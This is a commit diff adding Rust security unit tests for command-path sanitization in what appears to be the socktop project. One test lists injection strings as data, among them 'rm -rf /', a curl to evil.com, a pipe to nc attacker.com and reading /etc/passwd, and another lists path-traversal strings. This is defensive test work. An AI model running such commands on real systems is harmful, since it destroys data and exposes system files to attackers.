- add cargo fmt / clippy to actions build. - add common unit tests. -
improved security sanitization - security spcecific unit tests - add unit tests to workflow build - add unami analytics.
This commit is contained in:
@@ -0,0 +1,494 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Security tests for command sanitization and validation
|
||||
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
// ============================================================================
|
||||
// Command Path Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_must_be_absolute() {
|
||||
// Commands should use absolute paths to avoid PATH manipulation attacks
|
||||
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
cmd.starts_with('/'),
|
||||
"Command '{}' should be an absolute path",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_no_relative_components() {
|
||||
// Commands should not contain relative path components like ../ or ./
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains(".."),
|
||||
"Command '{}' should not contain '..' (path traversal)",
|
||||
cmd
|
||||
);
|
||||
assert!(
|
||||
!cmd.starts_with("./"),
|
||||
"Command '{}' should not start with './' (relative path)",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_shell_injection_attempts() {
|
||||
// These strings should never be allowed in command paths
|
||||
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for pattern in dangerous_patterns {
|
||||
assert!(
|
||||
!safe_command.contains(pattern),
|
||||
"Command should not contain shell metacharacter '{}'",
|
||||
pattern
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_no_spaces() {
|
||||
// Command paths should not contain spaces (use absolute paths only)
|
||||
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
!cmd.contains(' '),
|
||||
"Command path '{}' should not contain spaces",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_canonical() {
|
||||
// Command paths should be canonical (no double slashes, etc.)
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains("//"),
|
||||
"Command '{}' should not contain double slashes",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Environment Variable Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_term_env_var_sanitized() {
|
||||
// TERM variable should be a safe, known value
|
||||
let term_value = "xterm";
|
||||
|
||||
// Should not contain shell metacharacters
|
||||
assert!(!term_value.contains(';'));
|
||||
assert!(!term_value.contains('&'));
|
||||
assert!(!term_value.contains('|'));
|
||||
assert!(!term_value.contains('`'));
|
||||
assert!(!term_value.contains('$'));
|
||||
assert!(!term_value.contains('\n'));
|
||||
assert!(!term_value.contains('\r'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_env_var_no_null_bytes() {
|
||||
// Environment variables should not contain null bytes
|
||||
let term_value = "xterm";
|
||||
assert!(
|
||||
!term_value.contains('\0'),
|
||||
"TERM variable should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_term_values() {
|
||||
// Only allow known-safe TERM values
|
||||
let safe_terms = vec![
|
||||
"xterm",
|
||||
"xterm-256color",
|
||||
"screen",
|
||||
"screen-256color",
|
||||
"vt100",
|
||||
"vt220",
|
||||
"linux",
|
||||
"alacritty",
|
||||
];
|
||||
|
||||
for term in safe_terms {
|
||||
// Verify they are alphanumeric with hyphens only
|
||||
assert!(
|
||||
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
|
||||
"TERM value '{}' should only contain alphanumeric and hyphens",
|
||||
term
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Command Arguments Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_builder_no_shell_expansion() {
|
||||
// Using Command::new prevents shell expansion
|
||||
let cmd = "/bin/sh";
|
||||
let command = Command::new(cmd);
|
||||
|
||||
// Command::new does not invoke a shell, so these would be literal arguments
|
||||
// This is the safe way to spawn processes
|
||||
let program = command.get_program();
|
||||
assert_eq!(program, cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_shell_command_string_execution() {
|
||||
// We should never use sh -c "command string" pattern
|
||||
// This test documents that we use Command::new, not shell strings
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
// Verify we're not constructing shell command strings
|
||||
assert!(!safe_command.contains(" -c "));
|
||||
assert!(!safe_command.contains(" -e "));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_command_injection_patterns() {
|
||||
// These patterns indicate command injection attempts
|
||||
let injection_attempts = vec![
|
||||
"/bin/sh; rm -rf /",
|
||||
"/bin/bash && curl evil.com",
|
||||
"/bin/sh | nc attacker.com 1234",
|
||||
"/bin/bash `whoami`",
|
||||
"/bin/sh $(cat /etc/passwd)",
|
||||
];
|
||||
|
||||
for attempt in injection_attempts {
|
||||
// Any of these characters indicate shell injection
|
||||
let has_injection = attempt.contains(';')
|
||||
|| attempt.contains('&')
|
||||
|| attempt.contains('|')
|
||||
|| attempt.contains('`')
|
||||
|| attempt.contains("$(");
|
||||
|
||||
assert!(
|
||||
has_injection,
|
||||
"Should detect injection attempt in: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Path Traversal Prevention Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_path_traversal_in_command() {
|
||||
// Commands should not allow path traversal
|
||||
let path_traversal_attempts = vec![
|
||||
"../../../bin/sh",
|
||||
"/bin/../../../etc/passwd",
|
||||
"./evil.sh",
|
||||
"~/malicious.sh",
|
||||
];
|
||||
|
||||
for attempt in path_traversal_attempts {
|
||||
assert!(
|
||||
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
|
||||
"Path traversal attempt: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_command_paths_exist() {
|
||||
// Common safe shell paths that should exist on most systems
|
||||
let common_shells = vec!["/bin/sh"];
|
||||
|
||||
for shell in common_shells {
|
||||
if Path::new(shell).exists() {
|
||||
// Verify it's an absolute path
|
||||
assert!(shell.starts_with('/'), "Shell path should be absolute");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Input Size Limits Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_reasonable_length() {
|
||||
// Command paths should have reasonable length limits
|
||||
let max_path_length = 4096; // Common PATH_MAX on Linux
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
command.len() < max_path_length,
|
||||
"Command path should be less than {} bytes",
|
||||
max_path_length
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_excessively_long_paths() {
|
||||
let excessive_path = "/".to_string() + &"a".repeat(10000);
|
||||
|
||||
assert!(
|
||||
excessive_path.len() > 4096,
|
||||
"Test path should exceed reasonable limits"
|
||||
);
|
||||
// In real code, we should reject paths this long
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Whitelist Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_allowed_shells_whitelist() {
|
||||
// Define a whitelist of allowed shells
|
||||
let allowed_shells = vec![
|
||||
"/bin/sh",
|
||||
"/bin/bash",
|
||||
"/bin/zsh",
|
||||
"/usr/bin/bash",
|
||||
"/usr/bin/zsh",
|
||||
"/bin/dash",
|
||||
];
|
||||
|
||||
// All allowed shells should be absolute paths
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
shell.starts_with('/'),
|
||||
"Whitelisted shell '{}' must be absolute path",
|
||||
shell
|
||||
);
|
||||
}
|
||||
|
||||
// All allowed shells should not contain dangerous characters
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
!shell.contains(';'),
|
||||
"Whitelisted shell '{}' should not contain ';'",
|
||||
shell
|
||||
);
|
||||
assert!(
|
||||
!shell.contains('&'),
|
||||
"Whitelisted shell '{}' should not contain '&'",
|
||||
shell
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_command_against_whitelist() {
|
||||
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
let test_command = "/bin/sh";
|
||||
assert!(
|
||||
allowed_shells.contains(&test_command),
|
||||
"Command should be in whitelist"
|
||||
);
|
||||
|
||||
let dangerous_command = "/tmp/malicious.sh";
|
||||
assert!(
|
||||
!allowed_shells.contains(&dangerous_command),
|
||||
"Dangerous command should not be in whitelist"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Null Byte Injection Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_null_bytes_in_command() {
|
||||
// Null bytes can truncate commands in some contexts
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!safe_command.contains('\0'),
|
||||
"Command should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_detect_null_byte_injection() {
|
||||
// Test that we can detect null byte injection attempts
|
||||
let injection = "/bin/sh\0malicious";
|
||||
|
||||
assert!(
|
||||
injection.contains('\0'),
|
||||
"Should detect null byte in command"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// File Descriptor Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_file_descriptor_redirection_in_command() {
|
||||
// Commands should not contain file descriptor redirections
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(!command.contains('>'), "No output redirection");
|
||||
assert!(!command.contains('<'), "No input redirection");
|
||||
assert!(!command.contains("2>&1"), "No stderr redirection");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Unicode and Special Character Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_ascii_only() {
|
||||
// Command paths should be ASCII to avoid Unicode tricks
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_control_characters_in_command() {
|
||||
// Commands should not contain control characters
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for ch in safe_command.chars() {
|
||||
assert!(
|
||||
!ch.is_control() || ch == '\n' || ch == '\t',
|
||||
"Command should not contain control character: {:?}",
|
||||
ch
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Symlink and Special File Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_tmp() {
|
||||
// Commands should not be executed from /tmp (common malware location)
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!command.starts_with("/tmp/"),
|
||||
"Should not execute commands from /tmp"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_user_writable_dirs() {
|
||||
// Commands should not be in user-writable directories
|
||||
let command = "/bin/sh";
|
||||
|
||||
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
|
||||
|
||||
for dir in user_writable {
|
||||
if command.starts_with(dir) {
|
||||
panic!("Command should not be in user-writable directory: {}", dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Logging and Audit Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_execution_should_be_logged() {
|
||||
// This test documents that command execution should be logged
|
||||
// In the actual code, log::info! is used when spawning processes
|
||||
let command = "/bin/sh";
|
||||
|
||||
// Verify command is loggable (no sensitive data, reasonable length)
|
||||
assert!(
|
||||
command.len() < 1024,
|
||||
"Command should be short enough to log"
|
||||
);
|
||||
assert!(command.is_ascii(), "Command should be safely loggable");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Integration with Command::new() Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_new_prevents_shell_expansion() {
|
||||
// Document that Command::new does not invoke a shell
|
||||
let cmd = Command::new("/bin/sh");
|
||||
|
||||
// Command::new takes a literal program path, no shell interpretation
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_args_separate_from_program() {
|
||||
// Arguments should be passed separately, not in the program string
|
||||
let mut cmd = Command::new("/bin/sh");
|
||||
cmd.arg("-c");
|
||||
cmd.arg("echo hello");
|
||||
|
||||
// This is safe because args are not shell-interpreted
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Summary Test: Complete Security Checklist
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_security_checklist() {
|
||||
let command = "/bin/sh";
|
||||
|
||||
// 1. Absolute path
|
||||
assert!(command.starts_with('/'), "Must be absolute path");
|
||||
|
||||
// 2. No path traversal
|
||||
assert!(!command.contains(".."), "No path traversal");
|
||||
|
||||
// 3. No shell metacharacters
|
||||
assert!(!command.contains(';'), "No semicolons");
|
||||
assert!(!command.contains('&'), "No ampersands");
|
||||
assert!(!command.contains('|'), "No pipes");
|
||||
assert!(!command.contains('`'), "No backticks");
|
||||
assert!(!command.contains('$'), "No variable expansion");
|
||||
|
||||
// 4. No null bytes
|
||||
assert!(!command.contains('\0'), "No null bytes");
|
||||
|
||||
// 5. ASCII only
|
||||
assert!(command.is_ascii(), "ASCII only");
|
||||
|
||||
// 6. Reasonable length
|
||||
assert!(command.len() < 256, "Reasonable length");
|
||||
|
||||
// 7. Not in user-writable directory
|
||||
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
|
||||
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
|
||||
|
||||
// 8. No spaces (absolute path only)
|
||||
assert!(!command.contains(' '), "No spaces in path");
|
||||
|
||||
println!("✓ Command '{}' passed all security checks", command);
|
||||
}
|
||||
Reference in New Issue
Block a user